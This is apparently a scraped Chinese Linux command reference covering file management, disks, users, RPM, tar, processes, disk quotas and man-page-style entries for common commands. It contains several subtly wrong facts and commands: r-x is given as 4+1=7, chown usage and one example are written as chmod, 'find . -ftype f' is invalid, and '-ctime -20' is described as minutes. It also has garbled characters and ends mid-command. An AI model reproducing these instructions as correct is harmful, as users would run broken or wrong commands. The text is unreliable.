\u0026nbsp;\u0026nbsp; 文件管理 # cd cd \u0026#8211; 回上一次所在的目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd ~用户名 回指定用户的宿主目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 2 文件管理 # mkdir mkdir 目录名 创建一个目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # mkdir mkdir \u0026ndash;p 递归式去创建一些嵌套目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # rmdir Rmdir 空目录名 删除一个空目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 3 文件管理 # rm rm 文件名 文件名 删除一个文件或多个文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # rm rm -rf 非空目录名 递归删除一个非空目录下的一切，不让提式-f \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 4 文件管理 # cat cat文件名 一屏查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 5 文件管理 # more more文件名 分页查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 6 文件管理 # less less 文件名 可控分页查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 7 文件管理 # grep grep字符 文件名 根据字符匹配来查看文件部分内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 8 文件管理 # mv mv 路经/文件 /经/文件 移动相对路经下的文件到绝对路经下 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # mv mv 文件名 新名称 在当前目录下改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 10 文件管理 # find find 路经 -name \u0026ldquo;字符串\u0026rdquo; 查找路经所在范围内满足字符串匹配的文件和目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 11 文件管理 # ln ln 源文件 链接名 创建当前目录源文件的硬链接 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; ln /home/test /usr/test1 在/usr下建立/home/test的硬链接 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b \u0026nbsp;\u0026nbsp; 13 文件管理 # touch touch file1 file2 创建两个空文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 14 磁盘管理 # df df 用于报告文件系统的总容量，使用量，剩余容量。 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 16 磁盘管理 # fdisk fdisk -l 查看系统分区信息 \u0026nbsp;\u0026nbsp; 17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区 \u0026nbsp;\u0026nbsp; 18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1 为第一块SCSI硬盘的第一主分区格式化成 ext3的文件系统 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统 \u0026nbsp;\u0026nbsp; 19 磁盘管理 # mount mount -t 文件系统类型 设备路经 访问路经 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 磁盘管理 # \u0026nbsp;\u0026nbsp; 文件系统类型 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; Iso9660 光驱文件系统 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; vfat Fat文件系统(windows) \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 挂载光驱 # mount \u0026ndash;t iso9660 /dev/cdrom /mnt/cdrom \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 挂载FAT # mount \u0026ndash;t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区 \u0026nbsp;\u0026nbsp; 17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空 \u0026nbsp;\u0026nbsp; 18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod g+r file 为file的属组加上读权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod o+w file 为file的其它用户加上写权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod a-x file 为file的所有用户减去执行权限 \u0026nbsp;\u0026nbsp; chmod 765 file 为file的属主设为完全权限，属组设成读写权，其它用户具有读和执心权限 \u0026nbsp;\u0026nbsp; 19 文件权限 # chown chown root /home 把/home的属主改成root用户 \u0026nbsp;\u0026nbsp; 20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组 \u0026nbsp;\u0026nbsp; 21 打印管理 # redhat-config-printer-tui 进入安装打印机界面 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 22 打印管理 # lp lp \u0026ndash;d hptr file 打印file到hptr的打印机上 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 23 打印管理 # lpq Lpq \u0026ndash;P 打印机名 查看打印机的状态 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 24 打印管理 # lprm Lprm \u0026ndash;P 打印机名 a 删除打印机内的打印作业 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 25 打印管理 # disable Disable \u0026ndash;r \u0026ldquo;changing paper\u0026rdquo; HPtr 禁用打印机并提示原因 \u0026nbsp;\u0026nbsp; 26 打印管理 # enable Enable HPtr 重新启用被禁用的 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 27 用户管理 # useradd Useradd 创建一个新的用户 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 28 用户管理 # groupadd Groupadd 组名 创建一个新的组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 29 用户管理 # passwd Passwd 用户名 为用户创建密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 30 用户管理 # Passwd -d Passwd -d用户名 删除用户密码也能登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 31 用户管理 # Passwd -l Passwd -l用户名 锁定账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 32 用户管理 # Passwd -u Passwd -u用户名 解锁账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 33 用户管理 # Passwd -S Passwd -S用户名 查询账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 34 用户管理 # Usermod -l Usermod -l 新用户名 老用户名 为用户改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 35 用户管理 # Usermod -L Usermod -L 要锁定用户名 锁定用户登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 36 用户管理 # Usermod -U Usermod \u0026ndash;U解锁用户名 解锁用户登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 37 用户管理 # Usermod -u Usermod \u0026ndash;u 501用户名 改变用户UID \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 38 用户管理 # Userdel Userdel\u0026ndash;r 用户名 删除用户一切 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 39 用户管理 # Groupmod -n Groupmod \u0026ndash;n新用户名 老用户名 为组改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 40 用户管理 # Groupmod -g Groupmod \u0026ndash;g 501 组名 改变组GID \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 41 用户管理 # groupdel Groupdel组名 先应删它的用户 删除组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 42 用户管理 # gpasswd -a gpasswd -a 用户名 组名 增加用户到组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 43 用户管理 # Id id 用户名 查用户信息 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 44 软件管理 # rpm -qa rpm \u0026ndash;qa | less 查询已安装RPM \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 45 软件管理 # \u0026nbsp;\u0026nbsp; rpm \u0026ndash;qa | grep ftp 查询指定RPM \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 46 软件管理 # rpm -q rpm -q 已安装的RPM包 查是否安装 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 47 软件管理 # \u0026nbsp;\u0026nbsp; rpm -q telnet-server 查看telnet服务器包 \u0026nbsp;\u0026nbsp; 48 软件管理 # rpm -qi rpm \u0026ndash;qi 软件包名称 查看软件的描述信息 \u0026nbsp;\u0026nbsp; 49 软件管理 # rpm -ql rpm \u0026ndash;ql软件包名称 查询软件包的文件列表 \u0026nbsp;\u0026nbsp; 50 软件管理 # rpm -qf rpm \u0026ndash;qf软件包名称 查询某个文件所属的软件包 \u0026nbsp;\u0026nbsp; 51 软件管理 # rpm -qp rpm \u0026ndash;qp软件包全名 查询未安装的软件包信息 \u0026nbsp;\u0026nbsp; 52 软件管理 # rpm -e rpm \u0026ndash;e 软件包名称 删除具体的软件包 \u0026nbsp;\u0026nbsp; 53 软件管理 # rpm -U rpm \u0026ndash;Uvh软件包全名 升级软件包并显示过程 \u0026nbsp;\u0026nbsp; 54 软件管理 # rpm -ivh rpm \u0026ndash;ivh 软件包全名 安装软件包并显示过程 \u0026nbsp;\u0026nbsp; 55 软件管理 # rpm -V rpm \u0026ndash;V软件包名称 验证软件包的大小，类型等 \u0026nbsp;\u0026nbsp; 56 软件管理 # tar -c 创建包 \u0026ndash;x 释放包 -v 显示命令过程 \u0026ndash;z 代表压缩包 \u0026nbsp;\u0026nbsp; 57 软件管理 # tar -cf tar \u0026ndash;cvf benet.tar /home/benet 把/home/benet目录打包 \u0026nbsp;\u0026nbsp; 58 软件管理 # tar -czf tar \u0026ndash;zcvf benet.tar.gz /mnt 把目录打包并压缩 \u0026nbsp;\u0026nbsp; 59 软件管理 # tar \u0026ndash;tf tar \u0026ndash;tf benet.tar 看非压缩包的文件列表 \u0026nbsp;\u0026nbsp; 60 软件管理 # tar \u0026ndash;tzf tar \u0026ndash;tf benet.tar.gz 看压缩包的文件列表 \u0026nbsp;\u0026nbsp; 61 软件管理 # tar \u0026ndash;xf tar \u0026ndash;xf benet.tar 非压缩包的文件恢复 \u0026nbsp;\u0026nbsp; 62 软件管理 # tar \u0026ndash;zxvf tar \u0026ndash;zxvf benet.tar.gz 压缩包的文件解压恢复 \u0026nbsp;\u0026nbsp; 63 软件管理 # tar -jxvf tar \u0026ndash;jxvf benet.tar.bz2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 64 软件管理 # diff diff file1 file2 \u0026gt; 补丁名.patch 为新旧文件生成补丁文件 \u0026nbsp;\u0026nbsp; 65 软件管理 # diff diff file1 file2 比较两个文件的区别 \u0026nbsp;\u0026nbsp; 66 软件管理 # Patch Patch file补丁名.patch 打补丁 \u0026nbsp;\u0026nbsp; 67 软件管理 # ./configure \u0026#8211;prefix=/usr/local/ 编译前配置 \u0026nbsp;\u0026nbsp; 68 软件管理 # make 编译 \u0026nbsp;\u0026nbsp; 69 软件管理 # make install 安装编译好的源码包 \u0026nbsp;\u0026nbsp; 70 启动管理 # reboot Init 6 重启LINUX系统 \u0026nbsp;\u0026nbsp; 71 启动管理 # Halt Init 0 Shutdown \u0026ndash;h now 关闭LINUX系统 \u0026nbsp;\u0026nbsp; 72 启动管理 # runlevel \u0026nbsp;\u0026nbsp; 显示系统运行级 \u0026nbsp;\u0026nbsp; 73 启动管理 # Init [0123456] \u0026nbsp;\u0026nbsp; 改变系统运行级,7种 \u0026nbsp;\u0026nbsp; 74 启动管理 # Chkconfig \u0026ndash;-list [服务名称] 查看服务的状态 \u0026nbsp;\u0026nbsp; 75 启动管理 # Chkconfig \u0026ndash;-level \u0026lt;运行级\u0026gt; \u0026lt;服务名\u0026gt; on|off|set 设置服务的启动状态 \u0026nbsp;\u0026nbsp; 76 启动管理 # Chkconfig \u0026lt;服务名\u0026gt; on|off|set 设置非独立服务启状态 \u0026nbsp;\u0026nbsp; 77 进程管理 # Top动态 Ps-aux静态 进程树pstree 查看系统进程 \u0026nbsp;\u0026nbsp; 78 进程管理 # 程序名 \u0026amp; 后台运行程序 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 79 进程管理 # fg 把后台运行的进程调回前台 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 80 进程管理 # bg 把前台运行进程调到后台 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 81 进程管理 # renice Renice +1 180 把180号进程的优先级加1 \u0026nbsp;\u0026nbsp; 82 进程管理 # kill Kill PID 终止某个PID进程 \u0026nbsp;\u0026nbsp; 83 进程管理 # at at 5pm + 3 days /bin/ls 指定三天后下午5:00执行/bin/ls \u0026nbsp;\u0026nbsp; 84 进程管理 # crontab Crontab -e 用VI的形式来编辑自动周期性任务 \u0026nbsp;\u0026nbsp; 85 进程管理 # crontab Crontab -l 查看自动周期性任务 \u0026nbsp;\u0026nbsp; 86 进程管理 # crontab Crontab -r 删除自动周期性任务 \u0026nbsp;\u0026nbsp; 87 进程管理 # crond Service crond \u0026lt;start|stop|restart|status\u0026gt; \u0026nbsp;\u0026nbsp; 马上启动自动周期性服务 Service crond \u0026lt;启动|停止|重启|状态\u0026gt; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 实现磁盘配额 (注安装LINUX时建立/home分区） 目标：对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额 实现步骤： 1. 修改包含/home的行， #vi /etc/fstab， 改为：defaults,usrquota。也就是增加usrquota项。然后保存退出。 2、卸载/home目录 #umount /home 3. 挂接/home目录 #mount /home 4、增加用户zhao #useradd zhao 5、修改密码 #passwd zhao 6、生成关于/home目录的quota信息 # quotacheck -cmug /home #quotacheck -vu /home 7、查看所有用户的信息 #repquota -au 8、设置配额 #edquota -u zhao 将soft 和hard 分别改为5和10 9、保存并退出 #wq! 10、修改时间 #edquota -t 11、 #wq! 12.开启/home上的磁盘配额功能 #quotaon /home 13.查询配额 #quota -u zhao 14.验证配额 #su \u0026#8211; zhao $touch myfile\ncat cd chmod chown cp cut 名称：cat 使用权限：所有使用者 使用方式：cat [-AbeEnstTuv] [\u0026#8211;help] [\u0026#8211;version] fileName 说明：把档案串连接后传到基本输出（萤幕或加 \u0026gt; fileName 到另一个档案） 参数： -n 或 \u0026#8211;number 由 1 开始对所有输出的行数编号 -b 或 \u0026#8211;number-nonblank 和 -n 相似，只不过对于空白行不编号 -s 或 \u0026#8211;squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行 -v 或 \u0026#8211;show-nonprinting 范例： cat -n textfile1 \u0026gt; textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里 cat -b textfile1 textfile2 \u0026gt;\u0026gt; textfile3 把 textfile1 和 textfile2 的档案内容加上行号（空白行不加）之后将内容附加到 textfile3 名称 : cd 使用权限 : 所有使用者 使用方式 : cd [dirName] 说明 : 变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的 home directory (也就是刚 login 时所在的目录)。 另外，\u0026quot;~\u0026quot; 也表示为 home directory 的意思，\u0026quot;.\u0026quot; 则是表示目前所在的目录，\u0026quot;..\u0026quot; 则表示目前目录位置的上一层目录。 范例 : 跳到 /usr/bin/ : cd /usr/bin 跳到自己的 home directory : cd ~ 跳到目前目录的上上两层 : cd ../.. 指令名称 : chmod 使用权限 : 所有使用者 使用方式 : chmod [-cfvR] [\u0026#8211;help] [\u0026#8211;version] mode file\u0026#8230; 说明 : Linux/Unix 的档案存取权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所存取。 把计 : mode : 权限设定字串，格式如下 : [ugoa\u0026#8230;][[+-=][rwxX]\u0026#8230;][,\u0026#8230;]，其中u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。 + 表示增加权限、- 表示取消权限、= 表示唯一设定权限。 r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 -c : 若该档案权限确实已经更改，才显示其更改动作 -f : 若该档案权限无法被更改也不要显示错误讯息 -v : 显示权限变更的详细资料 -R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更) \u0026#8211;help : 显示辅助说明 \u0026#8211;version : 显示版本 范例 :将档案 file1.txt 设为所有人皆可读取 : chmod ugo+r file1.txt 将档案 file1.txt 设为所有人皆可读取 : chmod a+r file1.txt 将档案 file1.txt 与 file2.txt 设为该档案拥有者，与其所属同一个群体者可写入，但其他以外的人则不可写入 : chmod ug+w,o-w file1.txt file2.txt 将 ex1.py 设定为只有该档案拥有者可以执行 : chmod u+x ex1.py 将目前目录下的所有档案与子目录皆设为任何人可读取 : chmod -R a+r * 此外chmod也可以用数字来表示权限如 chmod 777 file 语法为：chmod abc file 其中a,b,c各为一个数字，分别表示User、Group、及Other的权限。 r=4，w=2，x=1 若要rwx属性则4+2+1=7； 若要rw-属性则4+2=6； 若要r-x属性则4+1=7。 范例： chmod a=rwx file 和 chmod 777 file 效果相同 chmod ug=rwx,o=x file 和 chmod 771 file 效果相同 若用chmod 4755 filename可使此程式具有root的权限 指令名称 : chown 使用权限 : root 使用方式 : chmod [-cfhvR] [\u0026#8211;help] [\u0026#8211;version] user[:group] file\u0026#8230; 说明 : Linux/Unix 是多人多工作业系统，所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说，这个指令只有是由系统管理者(root)所使用，一般使用者没有权限可以改变别人的档案拥有者，也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。 把计 : user : 新的档案拥有者的使用者 IDgroup : 新的档案拥有者的使用者群体(group)-c : 若该档案拥有者确实已经更改，才显示其更改动作-f : 若该档案拥有者无法被更改也不要显示错误讯息-h : 只对于连结(link)进行变更，而非该 link 真正指向的档案-v : 显示拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)\u0026#8211;help : 显示辅助说明\u0026#8211;version : 显示版本 范例 : 将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie : chown jessie:users file1.txt 将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport : chmod -R lamport:users * 名称：cp 使用权限：所有使用者 使用方式： cp [options] source dest cp [options] source\u0026#8230; directory 说明：将一个档案拷贝至另一档案，或将数个档案拷贝至另一目录。 把计 -a 尽可能将档案状态、权限等资料都照原状予以复制。 -r 若 source 中含有目录名，则将目录下之档案亦皆依序拷贝至目的地。 -f 若目的地已经有相同档名的档案存在，则在复制前先予以删除再行复制。 范例： 将档案 aaa 复制(已存在)，并命名为 bbb : cp aaa bbb 将所有的C语言程式拷贝至 Finished 子目录中 : cp *.c Finished 名称：cut 使用权限：所有使用者 用法：cut -cnum1-num2 filename 说明：显示每行从开头算起 num1 到 num2 的文字。 范例： shell\u0026gt;\u0026gt; cat example test2 this is test1 shell\u0026gt;\u0026gt; cut -c0-6 example ## print 开头算起前 6 个字元 test2 this i 名称 : find 用法 : find 使用说明 : 将档案系统内符合 expression 的档案列出来。你可以指要档案的名称、类别、时间、大小、权限等不同资讯的组合，只有完全相符的才会被列出来。 find 根据下列规则判断 path 和 expression，在命令列上第一个 \u0026#8211; ( ) , ! 之前的部份为 path，之后的是 expression。如果 path 是空字串则使用目前路径，如果 expression 是空字串则使用 -print 为预设 expression expression 中可使用的选项有二三十个之多，在此只介绍最常用的部份。 -mount, -xdev : 只检查和指定目录在同一个档案系统下的档案，避免列出其它档案系统中的档案 -amin n : 在过去 n 分钟内被读取过 -anewer file : 比档案 file 更晚被读取过的档案 -atime n : 在过去 n 天过读取过的档案 -cmin n : 在过去 n 分钟内被修改过 -cnewer file :比档案 file 更新的档案 -ctime n : 在过去 n 天过修改过的档案 -empty : 空的档案-gid n or -group name : gid 是 n 或是 group 名称是 name -ipath p, -path p : 路径名称符合 p 的档案，ipath 会忽略大小写 -name name, -iname name : 档案名称符合 name 的档案。iname 会忽略大小写 -size n : 档案大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。-type c : 档案类型是 c 的档案。 d: 目录 c: 字型装置档案 b: 区块装置档案 p: 具名贮列 f: 一般档案 l: 符号连结 s: socket -pid n : process id 是 n 的档案 你可以使用 ( ) 将运算式分隔，并使用下列运算。 exp1 -and exp2 ! expr -not expr exp1 -or exp2 exp1, exp2 范例: 将目前目录及其子目录下所有延伸档名是 c 的档案列出来。 # find . -name \u0026quot;*.c\u0026quot; 将目前目录其其下子目录中所有一般档案列出 # find . -ftype f 将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出 # find . -ctime -20 名称：less 使用权限：所有使用者 使用方式： less [Option] filename 说明： less 的作用与 more 十分相似，都可以用来浏览文字档案的内容，不同的是 less 允许使用者往回卷动 以浏览已经看过的部份，同时因为 less 并未在一开始就读入整个档案，因此在遇上大型档案的开启时，会比一般的文书编辑器(如 vi)来的快速。 范例： 指令名称 : ln 使用权限 : 所有使用者 使用方式 : ln [options] source dist，其中 option 的格式为 : [-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}] [\u0026#8211;help] [\u0026#8211;version] [\u0026#8211;] 说明 : Linux/Unix 档案系统中，有所谓的连结(link)，我们可以将其视为档案的别名，而连结又可分为两种 : 硬连结(hard link)与软连结(symbolic link)，硬连结的意思是一个档案可以有多个名称，而软连结的方式则是产生一个特殊的档案，该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中，而软连结却可以跨越不同的档案系统。 ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。 不论是硬连结或软链结都不会将原本的档案复制一份，只会占用非常少量的磁碟空间。 -f : 链结时先将与 dist 同档名的档案删除-d : 允许系统管理者硬链结自己的目录-i : 在删除与 dist 同档名的档案时先进行询问-n : 在进行软连结时，将 dist 视为一般的档案-s : 进行软链结(symbolic link)-v : 在连结之前显示其档名-b : 将在链结时会被覆写或删除的档案进行备份-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾-V METHOD : 指定备份的方式\u0026#8211;help : 显示辅助说明\u0026#8211;version : 显示版本 范例 : 将档案 yy 产生一个 symbolic link : zz ln -s yy zz 将档案 yy 产生一个 hard link : zz ln yy xx 名称：locate 使用权限：所有使用者 使用方式： locate [-q] [-d ] [\u0026#8211;database=] locate [-r ] [\u0026#8211;regexp=] locate [-qv] [-o ] [\u0026#8211;output=] locate [-e ] [-f ] \u0026lt;[-l ] [-c] \u0026lt;[-U ] [-u]\u0026gt; locate [-Vh] [\u0026#8211;version] [\u0026#8211;help] 说明： locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库，之后当寻找时就只需查询这个资料库，而不必实际深入档案系统之中了。 在一般的 distribution 之中，资料库的建立都被放在 contab 中自动执行。一般使用者在使用时只要用 # locate your_file_name 的型式就可以了。 参数： -u -U 建立资料库，-u 会由根目录开始，-U 则可以指定开始的位置。 -e 将 排除在寻找的范围之外。 -l 如果 是 1．则启动安全模式。在安全模式下，使用者不会看到权限无法看到的档案。这会始速度减慢，因为 locate 必须至实际的档案系统中取得档案的权限资料。 -f 将特定的档案系统排除在外，例如我们没有到理要把 proc 档案系统中的档案放在资料库中。 -q 安静模式，不会显示任何错误讯息。 -n 至多显示 个输出。 -r 使用正规运算式 做寻找的条件。 -o 指定资料库存的名称。 -d 指定资料库的路径 -h 显示辅助讯息 -v 显示更多的讯息 -V 显示程式的版本讯息 范例： locate chdrv : 寻找所有叫 chdrv 的档案 locate -n 100 a.out : 寻找所有叫 a.out 的档案，但最多只显示 100 个 locate -u : 建立资料库 名称 : ls 使用权限 : 所有使用者 使用方式 : ls [-alrtAFR] [name\u0026#8230;] 说明 : 显示指定工作目录下之内容（列出目前工作目录所含之档案及子目录)。 -a 显示所有档案及目录 (ls内定将档案名或目录名称开头为\u0026quot;.\u0026quot;的视为隐藏档，不会列出) -l 除档案名称外，亦将档案型态、权限、拥有者、档案大小等资讯详细列出 -r 将档案以相反次序显示(原定依英文字母次序) -t 将档案依建立时间之先后次序列出 -A 同 -a ，但不列出 \u0026quot;.\u0026quot; (目前目录) 及 \u0026quot;..\u0026quot; (父目录) -F 在列出的档案名称后加一符号；例如可执行档则加 \u0026quot;*\u0026quot;, 目录则加 \u0026quot;/\u0026quot; -R 若目录下有档案，则以下之档案亦皆依序列出 范例： 列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面 : ls -ltr s* 将 /bin 目录以下所有目录及档案详细资料列出 : ls -lR /bin 列出目前工作目录下所有档案及目录；目录于名称后加 \u0026quot;/\u0026quot;, 可执行档于名称后加 \u0026quot;*\u0026quot; : ls -AF 名称：more 使用权限：所有使用者 使用方式：more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..] 说明：类似 cat ，不过会以一页一页的显示方便使用者逐页阅读，而最基本的指令就是按空白键（space）就往下一页显示，按 b 键就会往回（back）一页显示，而且还有搜寻字串的功能（与 vi 相似），使用中的说明文件，请按 h 。 参数：-num 一次显示的行数 -d 提示使用者，在画面下方显示 [Press space to continue, q to quit.] ，如果使用者按错键，则会显示 [Press h for instructions.] 而不是 哔 声 -l 取消遇见特殊字元 ^L（送纸字元）时会暂停的功能 -f 计算行数时，以实际上的行数，而非自动换行过后的行数（有些单行字数太长的会被扩展为两行或两行以上） -p 不以卷动的方式显示每一页，而是先清除萤幕后再显示内容 -c 跟 -p 相似，不同的是先显示内容再清除其他旧资料 -s 当遇到有连续两行以上的空白行，就代换为一行的空白行 -u 不显示下引号 （根据环境变数 TERM 指定的 terminal 而有所不同） +/ 在每个档案显示前搜寻该字串（pattern），然后从该字串之后开始显示 +num 从第 num 行开始显示 fileNames 欲显示内容的档案，可为复数个数 范例： more -s testfile 逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。 more +20 testfile 从第 20 行开始显示 testfile 之档案内容。 名称：mv 使用权限：所有使用者 使用方式： mv [options] source dest mv [options] source\u0026#8230; directory 说明：将一个档案移至另一档案，或将数个档案移至另一目录。 参数：-i 若目的地已有同名档案，则先询问是否覆盖旧档。 范例： 将档案 aaa 更名为 bbb : mv aaa bbb 将所有的C语言程式移至 Finished 子目录中 : mv -i *.c 名称：rm 使用权限：所有使用者 使用方式：rm [options] name\u0026#8230; 说明：删除档案及目录。 把计 -i 删除前逐一询问确认。 -f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。 -r 将目录及以下之档案亦逐一删除。 范例： 删除所有C语言程式档；删除前逐一询问确认 : rm -i *.c 将 Finished 子目录及子目录中所有档案删除 : rm -r Finished 名称：rmdir 使用权限：于目前目录有适当权限的所有使用者 使用方式： rmdir [-p] dirName 说明： 删除空的目录。 参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。 范例： 将工作目录下，名为 AAA 的子目录删除 : rmdir AAA 在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB 目录成为空目录，则 BBB 亦予删除。 rmdir -p BBB/Test 名称：split 使用权限：所有使用者 使用方式：split [OPTION] [INPUT [PREFIX]] 说明： 将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案，其档名依序为 PREFIXaa, PREFIXab\u0026#8230;；PREFIX 预设值为 `x。若没有 INPUT 档或为 `-，则从标准输入读进资料。 匡兜 -b, \u0026#8211;bytes=SIZE SIZE 值为每一输出档案的大小，单位为 byte。 -C, \u0026#8211;line-bytes=SIZE 每一输出档中，单行的最大 byte 数。 -l, \u0026#8211;lines=NUMBER NUMBER 值为每一输出档的列数大小。 -NUMBER 与 -l NUMBER 相同。 \u0026#8211;verbose 于每个输出档被开启前，列印出侦错资讯到标准错误输出。 \u0026#8211;help 显示辅助资讯然后离开。 \u0026#8211;version 列出版本资讯然后离开。 SIZE 可加入单位: b 代表 512， k 代表 1K， m 代表 1 Meg。 范例： PostgresSQL 大型资料库备份与回存： 因 Postgres 允许表格大过你系统档案的最大容量，所以要将表格 dump 到单一的档案可能会有问题，使用 split进行档案分割。 % pg_dump dbname | split -b 1m \u0026#8211; filename.dump. 重新载入 % createdb 